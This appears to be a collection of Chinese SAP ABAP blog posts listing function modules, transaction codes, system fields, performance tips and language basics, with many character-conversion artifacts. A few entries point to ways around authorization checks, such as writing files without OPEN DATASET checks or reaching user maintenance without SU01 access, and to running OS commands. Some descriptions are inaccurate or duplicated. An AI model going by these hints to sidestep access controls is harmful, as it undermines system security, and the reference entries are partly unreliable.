FORMAT_MESSAGE - Takes a message id and number, and puts it into a variable。 Works better than WRITE_MESSAGE, since some messages use $ as a place holder, and WRITE_MESSAGE does not accommodate that, it only replaces the ampersands (&) in the message。
GET_GLOBAL_SYMBOLS – 傳回一個程式的tables, select options, texts, etc 。甚至包含selection screen的文本定義。
GET_INCLUDETAB – 獲得一個程式的INCLUDES清單。
GUI_CREATE_DIRECTORY –在顯示伺服器端建立一個目錄 。
GUI_DELETE_FILE – 在顯示伺服器端删除一個檔案 。
GUI_DOWNLOAD – 從應用伺服器下載下傳内表到顯示伺服器。
GUI_EXEC – 調用一個檔案或程式,取代了WS_EXECUTE。
GUI_GET_DESKTOP_INFO – 獲得用戶端桌面資訊,取代了WS_QUERY。
GUI_REMOVE_DIRECTORY – 從顯示伺服器删除一個目錄 。
GUI_RUN – 啟動一個檔案或程式 。
GUI_UPLOAD – 從顯示伺服器上傳檔案到應用伺服器,取代了WS_UPLOAD。
HELP_START – 為一個字段顯示幫助。 Useful for doing AT SELECTION SCREEN ON VALUE REQUEST for those fields that do not provide F4 help at the DDIC level。
HOLIDAY_GET – 基于Factory Calendar&/ Holiday Calendar提供了一個節日表。
INIT_TEXT –上傳長文本到SAP。
K_WERKS_OF_BUKRS_FIND – 傳回一個特定公司代碼的所有工廠。
LIST_TO_ASCII –将ABAP報表從 OTF形式轉換成ASCII 形式。
LIST_FROM_MEMORY – Retrieves the output of a report from memory when the report was executed using SUBMIT。。。EXPORTING LIST TO MEMORY。 See also WRITE_LIST。
MONTH_NAMES_GET – 獲得所有的月和名字
**** MS_EXCEL_OLE_STANDARD_OLE – 建立一個檔案并自動啟動Excel 。
CONVERT_OTFSPOOLJOB_2_PDF - converts a OTF spool to PDF (i。e。 Sap script document)
CONVERT_ABAPSPOOLJOB_2_PDF -convert ABAP spool output to PDF
POPUP_TO_CONFIRM_LOSS_OF_DATA – 彈出一個對話框告知使用者有可能丢失資料,詢問是否操作繼續。
POPUP_TO_CONFIRM_STEP -彈出一個對話框詢問使用者是否操作繼續。
POPUP_TO_CONFIRM_WITH_MESSAGE 可以顯示定制的提示資訊的确認視窗 類似POPUP_TO_CONFIRM_STEP,隻是多三行的文本錯誤診斷提示。
POPUP_TO_CONFIRM_WITH_VALUE 用此函數可以建立一個對話框用于詢問使用者是否執行某步操作,該操作可能會丢失資料,使用者可以選擇Yes No 或者Cancel。該函數可以傳入一個标題,兩行的文本(提示問題)和一個對象值
POPUP_TO_DECIDE 顯示一個對話框,使用者可以兩個操作中的一個或者取消。可以傳入三行提示文本
POPUP_TO_DECIDE_WITH_MESSAGE 類似POPUP_TO_DECIDE
POPUP_TO_DISPLAY_TEXT 顯示多行資訊的視窗
POPUP_TO_SELECT_MONTH –彈出一個對話框供選擇月。
POPUP_WITH_TABLE_DISPLAY -Provide a display of a table for user to select one,
with the value of the table line returned when selected。
PRICING – 獲得定價條件
PROFILE_GET - 從INI檔案讀取一條記錄
PROFILE_SET – 往INI檔案寫一條記錄
READ_TEXT – 上傳長文本
REGISTRY_GET – 從系統資料庫讀取一條記錄
REGISTRY_SET – 在系統資料庫裡設定一條記錄
RFC_ABAP_INSTALL_AND_RUN – 當MODE參數值為‘F’時運作PROGRAM表中的程式'.
RH_GET_ACTIVE_WF_PLVAR – 獲得激活的HR計劃
RH_START_EXCEL_WITH_DATA – 啟動Excel并用内表給檔案指派
RH_STRUC_GET –傳回所有相關的組織資訊
RP_CALC_DATE_IN_INTERVAL – 年月日加減
RP_LAST_DAY_OF_MONTHS – 獲得一個月的最後一天
RPY_DYNPRO_READ – 讀取螢幕
RPY_TRANSACTION_READ – 給定一個事務代碼,獲得其程式和螢幕;或給定一個程式和螢幕獲得事務代碼
RS_COVERPAGE_SELECTIONS – 獲得一個報表的選擇參數清單。
RS_REFRESH_FROM_SELECTOPTIONS –獲得目前選擇螢幕的内容
RS_SEND_MAIL_FOR_SPOOLLIST – 在程式中給SAP office 發送消息
RS_VARIANT_CONTENTS – 獲得一個變式的内容
RZL_SLEEP – 将目前程式挂起
RZL_SUBMIT – 送出一個遠端報表
RZL_READ_DIR_LOCAL – 讀取應用伺服器的目錄
RZL_READ_DIR – 如果伺服器名字左部為空,從本地讀取目錄,否則讀取遠端伺服器的目錄
RZL_READ_FILE – 如果為給定伺服器名字則讀取本地檔案,否則讀取遠端伺服器檔案。
RZL_WRITE_FILE_LOCAL - 将内表儲存到顯示伺服器(not PC). 不使用OPEN DATASET是以避免了授權檢查。
SAPGUI_PROGRESS_INDICATOR – 顯示一個進度條
SAVE_TEXT – 上傳長文本
SCROLLING_IN_TABLE –當編寫子產品池的時候可以用它來處理滾動
SD_DATETIME_DIFFERENCE – 兩日期作差
SO_NEW_DOCUMENT_ATT_SEND_API1 - 将文檔作為郵件的一部分發送
SO_SPLIT_FILE_AND_PATH – 将一個包含路徑的全檔案名分割為檔案名和路徑
SO_SPOOL_READ – 根據SPOOL号獲得printer spool
SO_WIND_SPOOL_LIST – 根據使用者浏覽printer spool号
SX_OBJECT_CONVERT_OTF_PDF – 從OTF轉換為PDF (SAP 腳本轉換)
SX_OBJECT_CONVERT_OTF_PRT – 從OTF轉換為列印機格式(SAP 腳本轉換)
SX_OBJECT_CONVERT_OTF_RAW – 從OTF轉換為ASCII(SAP 腳本轉換)
SXPG_CALL_SYSTEM - 檢查使用者是否有執行某個指令的權限
SXPG_COMMAND_LIST_GET – 獲得一個包含所有定義的外部OS指令的清單.
SXPG_COMMAND_DEFINITION_GET – 從R/3系統資料庫讀取單個外部OS指令的定義
SXPG_COMMAND_CHECK - 檢查使用者是否有執行某個指令的權限
SXPG_COMMAND_EXECUTE -檢查使用者是否有執行某個指令的權限,擁有授權則執行指令
TERMINAL_ID_GET –傳回終端ID
TH_DELETE_USER – 剔除一個使用者,效果同SM04
TH_ENVIRONMENT – 獲得UNIX環境
TH_POPUP –在特定使用者螢幕上顯示一個系統消息
TH_REMOTE_TRANSACTION – 在遠端伺服器上運作事務代碼
TH_USER_INFO – 獲得目前使用者的資訊 (會話,登陸的工作台等)
TH_USER_LIST –顯示登陸到應用伺服器的使用者清單
UNIT_CONVERSION_SIMPLE –衡量機關轉換
UPLOAD –上傳檔案到顯示伺服器
UPLOAD_FILES – 上傳一個或多個檔案
WRITE_LIST –顯示一個清單對象
WS_DOWNLOAD –将内表下載下傳到顯示伺服器
WS_EXCEL –啟動EXCEL
WS_EXECUTE –執行一個程式
WS_FILE_DELETE – 删除一個檔案
WS_FILENAME_GET –調用檔案選擇對話框
WS_MSG –顯示一個對話框顯示線上消息
WS_UPLOAD – 從顯示伺服器上傳檔案到内表
WS_VOLUME_GET –獲得終端裝置标簽
WWW_LIST_TO_HTML – 運作一個報表之後,調用這個方法将清單輸出轉換成HTML
SD_VBAP_READ_WITH_VBELN 根據銷售訂單讀取表vbap中的資訊
EDIT_LINES 把READ_TEXT傳回的LINES中的行按照TDFORMAT=“*”重新組織
VIEW_MAINTENANCE_CALL 維護表視圖
DY_GET_FOCUS 獲得螢幕焦點
DY_GET_SET_FIELD_VALUE 獲得或者設定螢幕字段的值
F4IF_INT_TABLE_VALUE_REQUEST 顯示檢索help
CONVERSION_EXIT_CUNIT_OUTPUT 機關轉換
SJIS_DBC_TO_SBC 全角轉半角
SJIS_SBC_TO_DBC 半角轉換為全角
CO_R0_CHECK_DECIMAL_POINT 根據機關檢查資料的小數位
POSTAL_CODE_CHECK 檢查郵政編碼 GET_JOB_RUNTIME_INFO 獲得job相關資訊
TERMINAL_ID_GET 獲得終端
idDATE_CONVERT_TO_FACTORYDATE 把輸入日期轉為工廠月曆日期
MESSAGE_TEXT_BUILD 把消息轉為文本
CONVERT_TO_LOCAL_CURRENCY 按照指定日期匯率轉換金額為指定貨币類型
SSF_FUNCTION_MODULE_NAME 根據form名取得對應的函數名(SmartForm)
DATE_CHECK_PLAUSIBILITY 檢查日期合法性
CHECKcl_gui_frontend_services=>gui_upload 上傳到伺服器
cl_gui_frontend_services=>gui_download 下載下傳到本地
SSF_FUNCTION_MODULE_NAME SMARTFORMS輸出報表時,生成一個函數名稱,然後CALL這個名
通過這個日期得出那天是星期幾
DAY_IN_WEEK
用來得到将來/過去的日期的
RP_CALC_DATE_IN_INTERVAL
日期的加減
BKK_ADD_MONTH_TO_DATE
一組有用的使用者互動視窗函數
POPUP_TO_CONFIRM_LOSS_OF_DATA 顯示有YES/NO的彈出視窗,提示使用者未儲存的資料将丢失
POPUP_TO_CONFIRM_STEP 提示是否确認操作的彈出視窗
POPUP_TO_CONFIRM_WITH_MESSAGE 可以顯示定制的提示資訊的确認視窗
POPUP_TO_CONFIRM_WITH_VALUE 顯示确認使用者對某個特定對象的操作的彈出視窗
POPUP_TO_DECIDE 将待确認選項以單選按鈕的方式顯示的彈出視窗
POPUP_TO_DECIDE_WITH_MESSAGE 帶消息的确認視窗
POPUP_TO_DISPLAY_TEXT 顯示多行資訊的視窗
POPUP_TO_SELECT_MONTH 月份選擇視窗
POPUP_WITH_TABLE_DISPLAY 有表格對象的确認視窗
一組操縱用戶端檔案系統的函數
GUI_CREATE_DIRECTORY 在PC上建立檔案目錄
GUI_DELETE_FILE 删除PC上的檔案
GUI_DOWNLOAD 檔案下載下傳函數
GUI_EXEC 執行PC上的程式,或者打開檔案
GUI_GET_DESKTOP_INFO 得到PC用戶端的系統資訊,比如作業系統等
GUI_REMOVE_DIRECTORY 删除PC目錄
GUI_RUN 運作PC程式(ShellExecute)
GUI_UPLOAD 從PC上傳程式
判斷某天是否是假日
HOLIDAY_CHECK_AND_GET_INFO
ABAP_DOCU_DOWNLOAD
Download ABAP documentation in HTML format.
GET_CURRENT_YEAR
得到目前的财政年(fiscal year)
察看某日期的屬性,包括該日期是星期幾,第幾天(周2=2),是不是公共假期等,需要輸入國家月曆。
DAY_ATTRIBUTES_GET
Return useful information about a day. Will tell you the day of the week as a word (Tuesday), the day of the week (2 would be Tuedsay), whether the day is a holiday, and more.(provided by Francois Henrotte)?
CLPB_IMPORT :從剪貼闆導入internal table
CLPB_EXPORT : 從internal table輸入到剪貼闆
示例程式:GRCLPB_1
=======
溝通無限
msn:[email protected]
18:05 | 添加評論 | 固定連結 | 寫入日志 | SAP ABAP
sap abap programming---關于ABAP程式執行效率和優化(z)
程式的效率是每個程式員都應該重視的,無論是采用的哪一種語言進行開發.
在我做過的一個項目中,一個幾萬條資料的運作,在沒有考慮效率,對代碼沒有進行優化前的運作時間是7個小時,當對代碼進行一系列的優化修改後,運作的時間就隻剩一個小時,由此可見,代碼的優化是多麼的重要。
那麼,我們在寫ABAP程式時,怎樣的語句才能提高到效率呢,下面是我總結到的幾點:
1、抽取資料時,避免使用SELECT *, 盡量使用SELECT A B INTO TABLE ITAB這樣的語句。
2、不要使用SELECT...ENDSELECT語句。
3、盡量避免在LOOP中通路資料庫。可以在之前先把資料取到内表,在LOOP中用READ TABLE WITH KEY ... BINARY SEARCH.進行讀取對應的資料。
4、用SORT代替ORDER BY。
5、避免使用嵌套的循環。
6、盡量不要使用JOIN進行多表連接配接。把一個表的資料先取到内表,然後使用FOR ALL ENTRIES語句再進行抽取。
7、使用二分查找法。
READ TABLE的之前使用SORT TABLE BY對内表進行排序, 然後使用READ TABLE WITH KEY ...BINARY SEARCH.
8、避免使用SELECT DISTINCT語句。在抽取資料到内表後用DELETE ADJACENT DUPLICATES語句來消除重複行。
9、盡量加多WHERE語句進行條件抽取。
以上,說的還不全,會進行不斷更新。
另外,可以通過TCODE:ST05 SE30 進行程式和SQL語句性能和效率的分析
17:59 | 添加評論 | 固定連結 | 寫入日志 | SAP ABAP
sap 在ABAP 中 MOVE ... TO 和 WRITE ... TO 的差別
WRITE ... TO 把源的格式 附值到目标。
MOVE ... TO 直接把源的值附到目标。
示例:
data: gv_char1(20) type c,
gv_char2(20) type c,
dec1(10) type p decimals 2 value '22345.89'.
start-of-selection.
* date *
write:/ 'date variable'.
write sy-datum to gv_char1.
write:/ 'write to', gv_char1.
move sy-datum to gv_char2.
write:/ 'move to', gv_char2.
skip 1.
* decimal *
write:/ 'decimal variable'.
write dec1 to gv_char1.
write:/ 'write to', gv_char1.
move dec1 to gv_char2.
write:/'move to', gv_char2.
Assigning Values with MOVE
To assign the value of a data object source to a variable destination, use the following statement:
MOVE source TO destination.
or the equivalent statement
destination = source.
The content of source remains unchanged, source does not therefore have to be a variable - it can also be a literal, a text symbol, or a constant. You must always specify decimal points with a period (.), regardless of the user’s personal settings.
Multiple assignments
f4 = f3 = f2 = f1.
are also possible. ABAP processes them from right to left as follows:
MOVE f1 TO f2.
MOVE f2 TO f3.
MOVE f3 TO f4.
In the MOVE statement (or when you assign one value to another with the equal sign), it is not possible to specify the field names dynamically as the contents of other fields. If you need to do this, you must use field symbols .
The source and target fields can be of different data types. The result of the value assignment depends on whether these data types are compatible and whether a type conversion can be performed. If there is no conversion rule between the data types in question, no assignment can be made.
DATA: t(10) TYPE c,
number TYPE p DECIMALS 2,
count TYPE i.
t = 1111.
MOVE '5.75' TO number.
count = number.
Following these assignments, the fields t, number and count have the values ‘1111 ’, 5.75, and 6 respectively. When you assign the number literal 1111 to T, it is converted into a character field with length 10. When you assign number tocount , the decimal number is rounded to an integer (as long as the program attributeFixed pt. arithmetic has been set).
Assigning Values Between Components of Structures
The rules for value assignments between data objects also apply to structures. With the command
DATA: struct1 TYPE structure,
struct2 TYPE structure.
struct1 = struct2.
two structures of the same type can be assigned to one another without difficulty. Here, the entire source structure is seen as a unit and copied to the source structure. It is then possible to access the components individually again. If the structures in question are not compatible, see the conversion rules for structures.
In practice, however, you will often only need to assign certain components of a structure to be certain components of another structure. ABAP has a special statement for this purpose:
MOVE-CORRESPONDING sourcestruct TO destinationstruct.
This statement assigns the contents of the components of structure sourcestruct to the components of the destinationstruct structure that have identical names.
When it is executed, it is broken down into a set of MOVEstatements, one for each pair of fields with identical names, as follows:
MOVE sourcestruct-comp1 TO destinationstruct-comp1.
MOVE sourcestruct-comp2 TO destinationstruct-comp2.
...
Any necessary type conversions are performed individually.
DATA: BEGIN OF address,
firstname(20) TYPE c VALUE 'Fred',
surname(20) TYPE c VALUE 'Flintstone',
initials(4) TYPE c VALUE 'FF',
street(20) TYPE c VALUE 'Cave Avenue',
number TYPE i VALUE '11',
postcode(5) TYPE n VALUE '98765',
city(20) TYPE c VALUE 'Bedrock',
END OF address.
DATA: BEGIN OF name,
surname(20) TYPE c,
firstname(20) TYPE c,
initials(4) TYPE c,
title(10) TYPE c VALUE 'Mister',
END OF name.
MOVE-CORRESPONDING address TO name.
In this example, the values of name-surname, name-firstname and name-initialsare set to 'Flintstone’, ‘Fred’, and 'FF'. name-title always has the value ‘Mister’.
17:33 | 添加評論 | 固定連結 | 寫入日志 | SAP ABAP
sap ABAP--關于Data Reference的使用---FIELD-SYMBOLS
Data References(隻能指向abap定義的基本資料或者基本資料組合體)
1、定義資料參考變量(Data References)
DATA dref TYPE REF TO DATA.(指向任意類型,但在建立時必須指定對象類型)
DATA dref TYPE REF TO DATA_TYPE.
或者
TYPES t_dref TYPE REF TO DATA.
DATA dref TYPE t_dref.
在完成位址變量定義時,變量沒有指向任何對象,此時你不可引用。隻有在變量指派後在引用。位址變量的指派有兩種方法:
CREATE DATA
GET REFERENCE OF dobj INTO dref.
2、動态建立資料參考的記憶體空間(CREATE DATA)
CREATE DATA dref {TYPE type}|{LIKE dobj}這種語句建立的對象沒有名稱,隻有位址變量指向該記憶體變量;在申明參考變量時,未指定類型則必須加{TYPE type}|{LIKE dobj}說明。
有時需要動态建立動态類型資料對象,文法如下
CREATE DATA dref TYPE (name).
3、将資料位址指派給資料參考變量(GET REFERENCE)
GET REFERENCE OF dobj INTO dref.
4、通路資料參考變量指定的資料
通路資料參考變量指定的資料有兩種情況:
1) 對于使用DATA dref TYPE REF TO DATA_TYPE來聲明的資料參考變量,程式可以直接通過->*運算符直接通路資料;
代碼樣例
types: begin of STRUC_1,
A type I,
B type ref to SFLIGHT,
C type P,
end of STRUC_1.
data: S1 type STRUC_1.
types: begin of STRUC_2,
X(10) type C,
Y type ref to STRUC_1,
Z type I,
end of STRUC_2.
data: S2 type STRUC_2,
R2 type ref to STRUC_2.
if S1-A > 10.
create data S1-B.
S1-B->CARRID = 'LH'.
S1-B->PAYMENTSUM = 1000.
endif.
S2-Y->A = 100.
S2-Y->*-A = 200. "Same as S2-Y->A
S2-Y->B->FLDATE = SY-DATUM.
2) 對于使用DATA dref TYPE REF TO DATA來聲明的資料參考變量,程式如果要通路資料參考變量指定的資料,你首先要将資料參考變量指派給一個字段符号(Field sysbol)(是不能直接通過資料參考變量來通路的).如果資料參考變量為初始化狀态, sy-subrc就傳回4。
ASSIGN dref->* TO <fs> [CASTING ...].
代碼樣例
DATA: numref TYPE REF TO DATA,
number TYPE I VALUE 123.
FIELD-SYMBOLS: <fs> TYPE ANY.
GET REFERENCE OF number INTO numref.
ASSIGN numref->* TO <fs>.
===================================
溝通無限
msn:erp.exper[email protected]
17:12 | 添加評論 | 固定連結 | 寫入日志 | SAP ABAP
sap abap系統自定的變量(TCODE)
sy-tabix 例如在loop的時候,此變量就代表目前所在行的index.
sy-tabix contains the index of the appended line.
sy-index 一個随着循環而增加的數字
sy-dyngr four character id placed in system field sy-dyngr while screen is prossed.
sy-title at runtime it contains the title.
se51 screen painter
tfawf Field selection: Modifiable fields
sy-repid 目前的program name
sy-tcode 目前系統的tcode
screen-input=0表示禁止輸入
screen-active=0表示此按鈕不可用。
screen-invisible表示是否可見
we02 display idoc we09 search idoc we19 test idoc
tfawf Field selection: Modifiable fields
sy-dyngr four character id placed in system field sy-dyngr while screen is prossed.
sy-title at runtime it contains the title.
sy-dbcnt 正在處理的資料筆數
SE01: Create Customizing Transport.
SE11: Data Dictionary.
SE13: ABAP Dictionary.
SE14: Database Utility.
SE15: Respository Information System.
SE16: Data Browser.
SE17: General Table Display.
SE18: BADI Definition.
SE19: BADI Implementation.
SE37: Function Module.
SE38: Create Program.
SE51: Screen Painter.
SE55: Table View Maintenance.
SE71: Copy Script.
SE78: Upload graphics(RSTXLDMC).
SE81: Locating Customer Exit.
SE80: Function Groups.
SE91: Message Class.
SE93: Create Transaction Code.
SM30: Table Maintenance.
SM37: Background Processing.
SO10: Standard Text.
SCC1: Copy From Client.
RSTXSCRP: SAP Script.
SMOD: Locating Customer Exit.
WE42: Inbound Processing Procedure.
WEDI: IDOCS Area Code.
WE21: Port Definition.
WE01: View IDOCS.
SY-UZEIT: Current System Time.
SY-DATUM: Current System Data.
SY-TABIX: Index of Appended Line.
SY-SUBRC: Return Value After Specific Statements.
SY-DBCNT: Number of Elements in the Edited Dataset.
SY-LINSZ: Line Size.
SY-UCOMM: Current Function Code.
SY-DATAR: Check if a User Made Any Input.
SY-CPROG: Getting the Current Program Name.
最後下面是關于XI的tcode
ALRTCATDEF- Alerts Configuration.
ALRTDISP - Display of Alerts Created
SXMB_IFR -> Start Integration Builder
SXMB_MONI -> Integration Engine - Monitoring
SXI_MONITOR -> XI: Message Monitoring
SXI_CACHE -> To Access IS runtime cache
SXI_SUPPORT -> Test all the Repository and Directory Objects
SXI_CACHE -> XI data directory cacheidx1 -> idoc adapter
IDX2 -> idoc metadata
IDX5 -> monitor idoc adapter
ST22 -> ABAP dump analysis
SMQ1 -> messages inbound e outbound queue
SMQ2 -> messages inbound e outbound queue
SMICM -> J2EE administration
ST06 -> Operating System Monitor. cpu memory filesystem machine status - cpu, memory and file system.
ST03 -> workload.
SCC4 -> Client Administration
sale - ale settings
RZ10 - edit system profile
SM59 ->mantain rfc destinations
BD64 -> mantain distribution model (trasformazioni)
AL08 -> list all logged users(user login logon)
SE10 -> Change Request
SE09 -> Change Request
WE05 -> All idocs
WE19 -> IDoc Test Tool
WE21 -> port definition
SE11 -> Data dictionary
se37 -> mantain funcion modules
SICF -> http server configuration
SMGW -> Gateway Monitor
BD13 ->
BD64 -> Maintenance of Distribution Model
PFCG -> Roles
table TSTC -> sap transactions codes
table TSTCT -> transaction descriptions
STMS -> transports management
SPAM -> apply ABAP support packages
SPAU -> manage objects after apply support packages
SE01 -> manage change requests
SLDCHECK -> Test SLD Connection
SLDAPICUST-> SLD API Customizing
SXMB_ADM -> Integration Engine - Administration
SXMB_MONI_BPE -> Process Engine - Monitoring
SE38 -> ABAP Editor
SE11 -> ABAP Dictionary
ST22 -> ABAP dump analysis
SPROXY-> ABAP Proxy Generation
SE80 -> Object Navigator
ABAPDOCU -> ABAP Documentation and Examples
SE24-> Class Builder
SM21-> Online System Log Analysis
SMQ1-> qRFC Monitor (Outbound Queue)
SMQ2-> qRFC Monitor (Inbound Queue)
RZ70-> SLD Administration
SM58-> Asynchronous RFC Error Log
SM59-> RFC Destinations (Display/Maintain)
SMICM-> ICM Monitor
WE60-> Documentation for IDoc types
BD87-> Status Monitor for ALE Messages
IDX1-> Port Maintenance in IDoc Adapter
IDX2-> Meta Data Overview in IDoc Adapter
WE02-> Display IDoc
WE09-> Search for IDocs by Content
WE20-> Partner Profiles
SE16-> Data Browser
SE93-> Maintain Transaction Codes
SM30-> Call View Maintenance
SU01-> User Maintenance
SM02-> System Messages
BD54 -Logical System Creation.
SWF_XI_PBUILDER -> for Detail BPM Process
SMQS - > to register the destination in QOUT scheduler
WEOUTQUEUE - > to start the queue processing
SMQR - > to register the queue
IDXPW - > to activate the IDOC message package
IDXP - > to monitor the message packages.
SWF_XI_CUSTOMIZING -> transaction to check prerequisites for integration processes.
SWF_XI_ADM_BPE-> Start or Stop BPE
SWF_XI_ADM_BPE_DISP-> Display BPE Status
SXI_MAPPING_Test--> Test ABAP Mapping
16:37 | 添加評論 | 固定連結 | 寫入日志 | SAP ABAP
sap ABAP基礎 programming
分支結構(IF,CASE)
使用IF的條件分支
IF <condition1>.
<statement block>
ELSEIF <condition2>.
<statement block>
ELSEIF <condition3>.
<statement block>
.....
ELSE.
<statement block>
ENDIF.
l 例子:
l DATA flag TYPE c VALUE ‘a'.
l IF flag = ‘a‘.
l WRITE / ‘true‘.
l ELSE.
l WRITE / ‘error'.
l ENDIF.
l 産生如下輸 出:
true
使用CASE的條件分支
基本文法:
CASE <f>.
WHEN <F1>.
<statement block>
WHEN <F2>.
<statement block>
WHEN <F3>.
<statement block>
WHEN ...
......
WHEN OTHERS.
<statement block>
ENDCASE.
l 例子:
l DATA: TEXT1 VALUE 'X',
TEXT2 VALUE 'Y',
TEXT3 VALUE 'Z',
STRING VALUE 'A'.
l CASE STRING.
WHEN TEXT1.
WRITE: / 'String is', TEXT1.
WHEN TEXT2.
WRITE: / 'String is', TEXT2.
WHEN TEXT3.
WRITE: / 'String is', TEXT3.
WHEN OTHERS.
WRITE: / 'String is not', TEXT1, TEXT2, TEXT3.
ENDCASE.
l 産生如下輸出: String is not X Y Z
l 這裡,執行WHEN OTHERS後面的語句塊,因為 STRING 的内容“A” 不等于“X” 、“Y”或 “Z”,
循環結構(DO,WHILE)
使用DO的無條件循環
DO
[<n>TIMES]
[VARYING <f> FROM <F1> NEXT <F2>].
<statement block>
ENDDO.
• TIMES 循環次數,
• VARYING選項在每次循環中給變量<f>重新指派
• <n>可以是文字或變量。如果<n>是0或負數,系統不執行該循環
• 使用 DO 語句時要避免死循環。 如果不使用 TIMES 選項,則在語句塊中至少應包含一個 EXIT、 STOP 或 REJECT 語句,以便系統能夠退出循環。
• 例子:
• DO.
• WRITE SY-INDEX.
• IF SY-INDEX = 3.
EXIT.
ENDIF.
• ENDDO.
• 産生如下輸出:
• 1 2 3
• 這裡,處理 3 次循環,然後在 EXIT 語句後退出循環。
• SY-INDEX代表循環次數
使用WHILE的條件循環
文法:
– WHILE <condition> [VARY <f> FROM <F1> NEXT <F2>].
<statementblock>
ENDWHILE.
• 循環終止(CONTINUE,CHECK,EXIT)
無條件終止循環:CONTINUE
DO 4 TIMES.
IF SY-INDEX = 2.
CONTINUE.
ENDIF.
WRITE SY-INDEX.
ENDDO.
輸出結果:
1 3 4
• 有條件終止循環:CHECK <condition>
DO 4 TIMES.
CHECK SY-INDEX BETWEEN 2 and 3.
WRITE SY-INDEX.
ENDDO.
輸出結果:
2 3
3
完全終止循環:EXIT
DO 4 TIMES.
IF SY-INDEX = 3.
EXIT.
ENDIF.
WRITE SY-INDEX.
ENDDO.
輸出結果:
1 2
16:33 | 添加評論 | 固定連結 | 寫入日志 | SAP ABAP
sap abap----常用的SAP标準函數(sap abap standard function)---and SAP standard programs
Function Module
Description
ABAP4_CALL_TRANSACTION
Call transaction code, also see SAPGUI_SET_FUNCTIONCODE
ADDR_PERS_COMP_COMM_GET
Get additional user address details not retrived by SUSR_USER_ADDRESS_READ (i.e. email address)
BAPI_COMPANYCODE_GET_PERIOD
Retrieve fiscal year and payrole period (based on date and company code)
CALCULATE_DATE
Increase/decrease DATE by a specific number of Days/Months
CONVERT_DATE_TO_EXTERNAL
Converts date from system storage format to users specified display format
CREATE_TEXTS
Create standard texts (i.e. PO headers texts)
CURRENCY_AMOUNT_SAP_TO_DISPLAY
Convert currency value from value stored in SAP to displayed currency
CURRENCY_AMOUNT_DISPLAY_TO_SAP
Convert currency value from displayed currency value to value stored in SAP
CLPB_EXPORT
Export files to clipboard
CLBP_IMPORT
Copies clipboard into table
DATE_COMPUTE_DAY
Returns day of the week for a particular date(1=Monday, 5=Friday etc.)
DATE_TO_DAY
Returns day of the week for a particular date('Monday', 'Friday', 'Sat.')
ENQUEUE_READ
Returns list if active lock objects
DETERMINE_PERIOD
Retrieve fiscal year and payrole period (Note: verision parameter is fiscal year varient from table T009)
DYNP_VALUES_UPDATE
Return values (i.e. from an F4 value request) into respective fields on a dynpro.
F4IF_INT_TABLE_VALUE_REQUEST
Display internal table as search help (documented in SAP)
FILE_GET_NAME
Retrieve Logical file path.
Use Transaction 'FILE' to view/create logical file paths
FTI_FISCAL_YEAR_MONTH_GET
Returns fiscal year for specific date
GUI_DOWNLOAD, WS_DOWNLOAD, DOWNLOAD
Download file to PC
GUI_UPLOAD, WS_UPLOAD, UPLOAD
Upload file from PC
HR_SEN_CRULE_0100_DATE
Increase/decrease DATE by a specific number of Days/Months/Years
JOB_OPEN, JOB_SUBMIT, JOB_CLOSE
Create and submit background jobs.
MESSAGE_TEXT_BUILD
Builds actual message based on info returned from Call transaction
NUMBER_GET_NEXT
Get the next unique number in a number range. Use tcode SNRO for maintaining number ranges.
NUMBER_CHECK
Check if number is within a number range (see tcode SNRO)
NUMBER_GET_INFO
Get info about number range (see tcode SNRO).
POPUP*
Display Pop-up Screen(s)
READ_TEXTS
Retrive standard texts (i.e. PO headers texts)
READ_EXCHANGE_RATE
Retrieve exchange rate on a particular date
RS_CREATE_VARIANT
Creating a Report Variant
RS_VARIANT_CONTENTS
Returns contents of a variant, is also useful as the result lists all variable names that could be set on screen.
RZL_READ_DIR_LOCAL
Get list of files within specific directory(Application Server)
SAPGUI_SET_FUNCTIONCODE
Execute SAP function code. Can also be used to execute transaction code by using '/o' i.e. '/OSE80'.
STUM_WP_TOTAL_ACTIVITY
Retrieves list of all process from all servers (i.e. SM50, SM66). Also returns a second table, containing a list of all the servers.
STUM_WP_SERVER_ACTIVITYS
& EW_TH_WPINFO
Retrieves list of processes on current server.
SUSR_USER_ADDRESS_READ
Get user address details stored under 'Own data'
SUSR_USER_PARAMETERS_GET
Get user parameter details stored under 'Own data'
SUSR_USER_DISPLAY_WITH_AUTHS
Displays user authorisation objects (Note: may have to debug around authority checks)
SUSR_USER_AGR_ACTIVITYGR_GET
Get users activity group details
SUSR_SYNC_USER_TABLES
Sync USR tables
SXPG_COMMAND_EXECUTE
Execute external command(FTP data in & out of SAP)
TH_POPUP
Display Windows Message on Users Screen
WS_EXECUTE
Execute External Program
===========================================================================
SAP standard programs
Program
Description
BALVBT01
Example SAP program for displying multiple ALV reports on one page
BCALV_GRID_DEMO
ALV Dialog grid demo (4.6)
SHOW_COLO
Displays all colours available
SHOW_ICON
Displays all icon available
RGUGBR00
Substitution/Validation and rules utility
RKCTSEAR
Search source code of various programs for up to two strings. Also see RPR_ABAP_SOURCE_SCAN or use search in source functionality via SE80
RPCIFU01
Display File
RPCIFU03
Download Unix File to PC
RPCIFU04
Upload PC File to Unix File
RPR_ABAP_SOURCE_SCAN
Search ABAP code for a string. Much more flexible than RSRSCAN1 or RKCTSEAR
RSBDCBTC
Submit a BDC job with an internal batch number and wait for the end of the batch input session
RSBDCDRU
Prints the contents of a Batch Input session. No options for error transactions only
RSBDCOS0
Execute OS Command (Logged in SYSLOG and Trace Files)
RSBDCSUB
Process batch input sessions automatically
RSBTCDEL
Delete batch jobs
RSCONN01
SAPconnect: Start Email Send Process
RSCSAUTH
Maintain/Restore Authorization Groups
RSINCL00
Extended ABAP Program Reference List
RSMODRES
Restore enhancement projects after upgarde
RSORAREL
Check Oracle Version
RSPARAM
Display all instance parameters
RSPO0041
Delete Old Spool Requests
RSSNAPDL
Reorganization Program for Table SNAP of Short Dumps
RSTRANSP
Transport Report Variants
RSTXFCON
SAPscript: Conversion of Page Format for Forms
RSTXPDFT4
Convert spool request to PDF document
RSTXPDFT5
GUI download of a spool request
RSTXSCRP
SAPscript Export to Dataset / SAPscript Import from Dataset (Upload and download SAPScript layout sets)
RSTXTRAN
Transfer of SAPscript Texts(standard texts) to a transport
RSUSR003
Check the Passwords of Users SAP* and DDIC in All Clients
RSUSR006
List of Users with Incorrect Logons
RSVARFIT
Adjust Variants to Modified Selections
RSVTPROT
Evaluation of change logs
RSWBO052
Change Object Directory Entries
RSWBO060
Include Objects in a Transport Request
SAPMSUU0
Program for user maintenance(SU01), Maybe useful if you do not have access to the actual SU01 transaction code.
9:50 | 添加評論 | 固定連結 | 寫入日志 | SAP ABAP
SAP如何通過RFC連接配接.NET(sap abap .net programming)
